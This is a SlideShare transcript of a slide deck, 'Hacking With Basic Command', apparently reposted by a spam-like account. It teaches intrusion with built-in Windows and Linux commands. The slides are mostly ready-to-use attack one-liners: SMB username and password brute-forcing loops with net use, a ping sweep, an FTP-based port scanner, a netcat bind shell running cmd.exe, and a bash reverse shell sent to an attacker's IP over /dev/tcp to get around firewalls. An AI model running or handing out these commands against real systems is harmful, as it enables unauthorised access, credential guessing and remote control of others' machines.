SlideShare a Scribd company logo
Hacking With Basic Command
Presented :
Dedi Dwianto
[theday@echo.or.id]
Contents
• Scenario
• Windows Command-Line Hacking
• Netcat
• Linux Commnad-Line Hacking
• Q&A
Scenario
WWW DNS
Attacker
Internet
Network
Target
Firewall
e-rdc.org 2008
Windows Command
• Finding Others Machines
• SMB Sessions
• FOR Loops
• Password Guessing
• Port Scanner
• File Transfer
Finding other machines
• C:>ipconfig /displaydns
• C:>arp –a
Setting up smb sessions
• Set up session with a target
• Mount a Share on a target :
C:> net use [targetIP] [password] /u:[user]
C:> net use [targetIP][sharename] [password] /u:[user]
Dropping smb sessions
• Windows only accept one username at a time only
• Drop SMB Session
• Drop All SMB Session
C:> net use [TargetIP] /del
C:> net use * /del
FOR Loops
• Common Option for Hacking
• FOR /L : Loop through a range of numbers
• FOR /F: Loop through items in a text file
FOR /L Loops
• FOR /L loops are counters :
• Simple Counter
c:> for /L %i in (1,1,255) do echo %i
c:> for /L %i in ([start],[step],[stop]) do [command]
FOR /L Loops
• Run Multiple Command
[command1] & [command2]
• Run Command1 and Run Command2 if Command1 run without
error
[command1] && [command2]
c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1
C:> for /L %i in (1,1,10) do echo %ii && ping –n 5 127.0.0.1
FOR /L Loops : Handling Output
• Redirect to nul : > null
• Redirect to file : >filename
• Output find string : | find “[string name]”
• Redirect Error Message : [command] 2>null or [command] 2>>file
c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 > nul
C:> for /L %i in (1,1,10) do echo %i && ping –n 5 127.0.0.1 > result.txt
Simple Sweep Ping
C:> for /L %i in (1,1,10) do echo %i & ping –n 5 192.168.114.%i | find “Reply”
FOR /F Loops
• Loop through text
• etc can be :
– The contents
– String
– Command
FOR /F ["options"] %parameter IN (“etc") DO command
Password Guessing with FOR /F
• Password Guessing via SMB
• You know Username
• Password list from John the Ripper’s password.lst
C:>for /F %i in (password.lst) do @echo %i & @net use [targetIP] %i /u:[Username]
2>nul && pause && echo [Username] :%i >> done.txt
amrapali builders @@ hacking with basic command.pdf
Username & Password
Guessing
with FOR /F• Guees each password for each username
• We need 2 file username & password list
• 2 variable %u and %p for username & password
• Use net use for try SMB session
• Drop SMB if success Login
C:>for /F %u in (user.txt) do @(for /F %p in (password.txt) do @echo %u : %p &
@net use [targetIP] %p /u:%u 2>nul && echo %u : %p >> done.txt &&
net use [targetIP] /del)
amrapali builders @@ hacking with basic command.pdf
Windows Port Scanner With FTP Client
• Windows FTP Client C:> ftp [IpAddress]
• Using –s option FTP for ready from file : c:>ftp –s:[filename]
• We’ll write a loop that generate FTP command file and invoke FTP
to run from that command
• Store the result
for/L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt
& echo open [IPAddress] %i > ftp.txt & echo quit >> ftp.txt
& ftp -s:ftp.txt 2>>ports.txt
amrapali builders @@ hacking with basic command.pdf
Windows Command Line File Transfer
• Use Windows File & Printer Sharing
• Redirect to Share folder :
• Login to SMB Session take from Password Guessing
C:>type [filename] > [IPtarget][share][filename]
C:> net use [IPTarget] [password] /u:[username]
amrapali builders @@ hacking with basic command.pdf
Netcat
• TCP/UDP Network Widget
• Standard In and Send It across the network
• Receives data from network and put it to standard out
NETCAT
Std In
Std Out
Send Packets
Receives Packets
Std Error
SYSTEM NETWORK
Netcat Functions
• Send File
• Port Scan
• Backdoor Shell Access
• Connect to Open Port
• Simple Chats
• Replay Data in TCP/UDP Packets
• Etc …
Netcat : Windows Backdoor
nc -l -p [port] -e “cmd.exe”
Linux Command Line
Hacking• /dev/tcp/
• Open Connection to Other Machines
• Like Connect Back Shell
• /dev/tcp/[IPAddress]/[Port]
Backdooring via /dev/tcp
/bin/bash -i > /dev/tcp/[IP Attacker]/[port] 0<&1 2>&1
Firewall
Deny
Incoming
/bin/bash -i > /dev/tcp/[ip]/[port] 0<&1
2>&1nc -l -p 80
Type Command Command Execute
amrapali builders @@ hacking with basic command.pdf
THANK YOU

More Related Content

PDF
theday, windows hacking with commandline
PDF
Unit 7 standard i o
PDF
Course 102: Lecture 8: Composite Commands
PPTX
Linux basics
PPTX
Linux networking
PDF
Course 102: Lecture 7: Simple Utilities
PPTX
Unix - Filters/Editors
PDF
บทที่ 2 โพรโตคอล (protocol)
theday, windows hacking with commandline
Unit 7 standard i o
Course 102: Lecture 8: Composite Commands
Linux basics
Linux networking
Course 102: Lecture 7: Simple Utilities
Unix - Filters/Editors
บทที่ 2 โพรโตคอล (protocol)

What's hot (18)

PPTX
Basic unix commands
PDF
Course 102: Lecture 6: Seeking Help
PPT
Unix fundamentals and_shell scripting
PDF
Linux Commands - Cheat Sheet
PPTX
Lpt lopsa
PDF
Final opensource record 2019
PPT
Networking session-4-final by aravind.R
PPT
Common linux ubuntu commands overview
PDF
Course 102: Lecture 3: Basic Concepts And Commands
ODP
Linux commd
ODP
Linux commd
ODP
Pycon Sec
PPTX
Penetration testing using python
DOCX
40 basic linux command
ODP
PHP: The Beginning and the Zend
PPTX
Ansible for Beginners
PDF
Python build your security tools.pdf
PDF
Tcpdump
Basic unix commands
Course 102: Lecture 6: Seeking Help
Unix fundamentals and_shell scripting
Linux Commands - Cheat Sheet
Lpt lopsa
Final opensource record 2019
Networking session-4-final by aravind.R
Common linux ubuntu commands overview
Course 102: Lecture 3: Basic Concepts And Commands
Linux commd
Linux commd
Pycon Sec
Penetration testing using python
40 basic linux command
PHP: The Beginning and the Zend
Ansible for Beginners
Python build your security tools.pdf
Tcpdump

Viewers also liked (15)

PPTX
Epn presidente impopular
DOC
CV_Solange_English Jan 2017
DOC
CURRICULUM VITAE
PPTX
FORMAS ELEMENTALES DEL RELIEVE
PDF
Suja resume- Business Analyst
PPT
Stickdiagrams
PPTX
PROCESO DIGESTIVO
DOCX
Проект «Мама, я тебя люблю!»
PDF
Historia de la Arquitectura
PPT
5 grafcet à séquence unique chariot
PPTX
Value analysis
PPT
Chapter7
PPT
'IKT og læring' and/versus 'Media Pedagogy*
PDF
Clases de-oraciones-impersonales
PDF
Telecommunication haggege
Epn presidente impopular
CV_Solange_English Jan 2017
CURRICULUM VITAE
FORMAS ELEMENTALES DEL RELIEVE
Suja resume- Business Analyst
Stickdiagrams
PROCESO DIGESTIVO
Проект «Мама, я тебя люблю!»
Historia de la Arquitectura
5 grafcet à séquence unique chariot
Value analysis
Chapter7
'IKT og læring' and/versus 'Media Pedagogy*
Clases de-oraciones-impersonales
Telecommunication haggege

Similar to amrapali builders @@ hacking with basic command.pdf (20)

PDF
D200011_2024_Dec13 (2).pdf aaaaaaaaaaaaa
PPTX
Basic Linux Administration - 3.pptxon server
PPTX
Fun with exploits old and new
PDF
Debugging Network Issues
PDF
1000 to 0
PPTX
Batch programming and Viruses
PPT
3. introduction of centos
KEY
Monitoring and Debugging your Live Applications
PPT
101 3.2 process text streams using filters
PPT
PPTX
Unix_basics
PDF
How to admin
PPTX
Ultimate Unix Meetup Presentation
ODP
Linuxs1
PDF
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
PDF
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
PDF
Chapter 3 footprinting
PDF
BlackHat Hacking - Hacking VoIP.
D200011_2024_Dec13 (2).pdf aaaaaaaaaaaaa
Basic Linux Administration - 3.pptxon server
Fun with exploits old and new
Debugging Network Issues
1000 to 0
Batch programming and Viruses
3. introduction of centos
Monitoring and Debugging your Live Applications
101 3.2 process text streams using filters
Unix_basics
How to admin
Ultimate Unix Meetup Presentation
Linuxs1
2014-11-26 | Creating a BitTorrent Client with Scala and Akka, Part 1 (Vienna...
[若渴計畫] Challenges and Solutions of Window Remote Shellcode
Chapter 3 footprinting
BlackHat Hacking - Hacking VoIP.

More from amrapalibuildersreviews (20)

PDF
amrapali builders@@@hacking d link routers with hnap.pdf
PDF
Amrapali builders -- google cheatsheet.pdf
PDF
amrapali builders -- maroochy water-services-case-study briefing.pdf
PDF
amrapali builders -- hacking the genome.pdf
PDF
amrapali builders @@ hacking challenges.pdf
PDF
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
PDF
amrapali builders @@ google hacking.pdf
PDF
amrapali builders @@hacking cctv.pdf
PDF
amrapali builders @@hacking printers.pdf
PDF
amrapali builders@@@bluetooth hacking.pdf
PDF
amrapali builders@@sub way hacking.pdf
PDF
amrapali builders@@hacking ciphers.pdf
PDF
amrapali builders@@@@hacking windows internals.pdf
PDF
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
PDF
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
PDF
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
PDF
Amrapali reviews(application form 4 t ech park g.noida)Amrapali Builders,Am...
PDF
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
PDF
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
PDF
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali Group
amrapali builders@@@hacking d link routers with hnap.pdf
Amrapali builders -- google cheatsheet.pdf
amrapali builders -- maroochy water-services-case-study briefing.pdf
amrapali builders -- hacking the genome.pdf
amrapali builders @@ hacking challenges.pdf
amrapali builders @@ hardware hacking and robotics using the raspberry pi.pdf
amrapali builders @@ google hacking.pdf
amrapali builders @@hacking cctv.pdf
amrapali builders @@hacking printers.pdf
amrapali builders@@@bluetooth hacking.pdf
amrapali builders@@sub way hacking.pdf
amrapali builders@@hacking ciphers.pdf
amrapali builders@@@@hacking windows internals.pdf
Amrapali reviews(specification for amrapali titanium (low rise))Amrapali Buil...
Amrapali reviews(profile bn-basu)Amrapali Builders,Amrapali Group
Amrapali reviews(list-of-aproved-projects)Amrapali Builders,Amrapali Group
Amrapali reviews(application form 4 t ech park g.noida)Amrapali Builders,Am...
Amrapali reviews(doc-cmd)Amrapali Builders,Amrapali Group
Amrapali reviews(terrace homes)Amrapali Builders,Amrapali Group
Amrapali builders(terrace homes)Amrapali Reviews,Amrapali Group

Recently uploaded (20)

PDF
Galatica Smart Energy Infrastructure Startup Pitch Deck
PPTX
Introduction to machine learning and Linear Models
PPTX
Microsoft-Fabric-Unifying-Analytics-for-the-Modern-Enterprise Solution.pptx
PPTX
advance b rammar.pptxfdgdfgdfsgdfgsdgfdfgdfgsdfgdfgdfg
PPTX
mbdjdhjjodule 5-1 rhfhhfjtjjhafbrhfnfbbfnb
PPTX
ALIMENTARY AND BILIARY CONDITIONS 3-1.pptx
PPTX
1_Introduction to advance data techniques.pptx
PDF
22.Patil - Early prediction of Alzheimer’s disease using convolutional neural...
PDF
Business Analytics and business intelligence.pdf
PDF
BF and FI - Blockchain, fintech and Financial Innovation Lesson 2.pdf
PDF
Mega Projects Data Mega Projects Data
PPT
Miokarditis (Inflamasi pada Otot Jantung)
PPTX
iec ppt-1 pptx icmr ppt on rehabilitation.pptx
PPTX
MODULE 8 - DISASTER risk PREPAREDNESS.pptx
PDF
Lecture1 pattern recognition............
PPTX
AI Strategy room jwfjksfksfjsjsjsjsjfsjfsj
PPTX
Introduction to Knowledge Engineering Part 1
PPTX
The THESIS FINAL-DEFENSE-PRESENTATION.pptx
PPTX
Business Acumen Training GuidePresentation.pptx
Galatica Smart Energy Infrastructure Startup Pitch Deck
Introduction to machine learning and Linear Models
Microsoft-Fabric-Unifying-Analytics-for-the-Modern-Enterprise Solution.pptx
advance b rammar.pptxfdgdfgdfsgdfgsdgfdfgdfgsdfgdfgdfg
mbdjdhjjodule 5-1 rhfhhfjtjjhafbrhfnfbbfnb
ALIMENTARY AND BILIARY CONDITIONS 3-1.pptx
1_Introduction to advance data techniques.pptx
22.Patil - Early prediction of Alzheimer’s disease using convolutional neural...
Business Analytics and business intelligence.pdf
BF and FI - Blockchain, fintech and Financial Innovation Lesson 2.pdf
Mega Projects Data Mega Projects Data
Miokarditis (Inflamasi pada Otot Jantung)
iec ppt-1 pptx icmr ppt on rehabilitation.pptx
MODULE 8 - DISASTER risk PREPAREDNESS.pptx
Lecture1 pattern recognition............
AI Strategy room jwfjksfksfjsjsjsjsjfsjfsj
Introduction to Knowledge Engineering Part 1
The THESIS FINAL-DEFENSE-PRESENTATION.pptx
Business Acumen Training GuidePresentation.pptx

amrapali builders @@ hacking with basic command.pdf

  • 1. Hacking With Basic Command Presented : Dedi Dwianto [theday@echo.or.id]
  • 2. Contents • Scenario • Windows Command-Line Hacking • Netcat • Linux Commnad-Line Hacking • Q&A
  • 4. Windows Command • Finding Others Machines • SMB Sessions • FOR Loops • Password Guessing • Port Scanner • File Transfer
  • 5. Finding other machines • C:>ipconfig /displaydns • C:>arp –a
  • 6. Setting up smb sessions • Set up session with a target • Mount a Share on a target : C:> net use [targetIP] [password] /u:[user] C:> net use [targetIP][sharename] [password] /u:[user]
  • 7. Dropping smb sessions • Windows only accept one username at a time only • Drop SMB Session • Drop All SMB Session C:> net use [TargetIP] /del C:> net use * /del
  • 8. FOR Loops • Common Option for Hacking • FOR /L : Loop through a range of numbers • FOR /F: Loop through items in a text file
  • 9. FOR /L Loops • FOR /L loops are counters : • Simple Counter c:> for /L %i in (1,1,255) do echo %i c:> for /L %i in ([start],[step],[stop]) do [command]
  • 10. FOR /L Loops • Run Multiple Command [command1] & [command2] • Run Command1 and Run Command2 if Command1 run without error [command1] && [command2] c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 C:> for /L %i in (1,1,10) do echo %ii && ping –n 5 127.0.0.1
  • 11. FOR /L Loops : Handling Output • Redirect to nul : > null • Redirect to file : >filename • Output find string : | find “[string name]” • Redirect Error Message : [command] 2>null or [command] 2>>file c:> for /L %i in (1,1,10) do echo %i & ping –n 5 127.0.0.1 > nul C:> for /L %i in (1,1,10) do echo %i && ping –n 5 127.0.0.1 > result.txt
  • 12. Simple Sweep Ping C:> for /L %i in (1,1,10) do echo %i & ping –n 5 192.168.114.%i | find “Reply”
  • 13. FOR /F Loops • Loop through text • etc can be : – The contents – String – Command FOR /F ["options"] %parameter IN (“etc") DO command
  • 14. Password Guessing with FOR /F • Password Guessing via SMB • You know Username • Password list from John the Ripper’s password.lst C:>for /F %i in (password.lst) do @echo %i & @net use [targetIP] %i /u:[Username] 2>nul && pause && echo [Username] :%i >> done.txt
  • 16. Username & Password Guessing with FOR /F• Guees each password for each username • We need 2 file username & password list • 2 variable %u and %p for username & password • Use net use for try SMB session • Drop SMB if success Login C:>for /F %u in (user.txt) do @(for /F %p in (password.txt) do @echo %u : %p & @net use [targetIP] %p /u:%u 2>nul && echo %u : %p >> done.txt && net use [targetIP] /del)
  • 18. Windows Port Scanner With FTP Client • Windows FTP Client C:> ftp [IpAddress] • Using –s option FTP for ready from file : c:>ftp –s:[filename] • We’ll write a loop that generate FTP command file and invoke FTP to run from that command • Store the result for/L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open [IPAddress] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt
  • 20. Windows Command Line File Transfer • Use Windows File & Printer Sharing • Redirect to Share folder : • Login to SMB Session take from Password Guessing C:>type [filename] > [IPtarget][share][filename] C:> net use [IPTarget] [password] /u:[username]
  • 22. Netcat • TCP/UDP Network Widget • Standard In and Send It across the network • Receives data from network and put it to standard out NETCAT Std In Std Out Send Packets Receives Packets Std Error SYSTEM NETWORK
  • 23. Netcat Functions • Send File • Port Scan • Backdoor Shell Access • Connect to Open Port • Simple Chats • Replay Data in TCP/UDP Packets • Etc …
  • 24. Netcat : Windows Backdoor nc -l -p [port] -e “cmd.exe”
  • 25. Linux Command Line Hacking• /dev/tcp/ • Open Connection to Other Machines • Like Connect Back Shell • /dev/tcp/[IPAddress]/[Port]
  • 26. Backdooring via /dev/tcp /bin/bash -i > /dev/tcp/[IP Attacker]/[port] 0<&1 2>&1 Firewall Deny Incoming /bin/bash -i > /dev/tcp/[ip]/[port] 0<&1 2>&1nc -l -p 80 Type Command Command Execute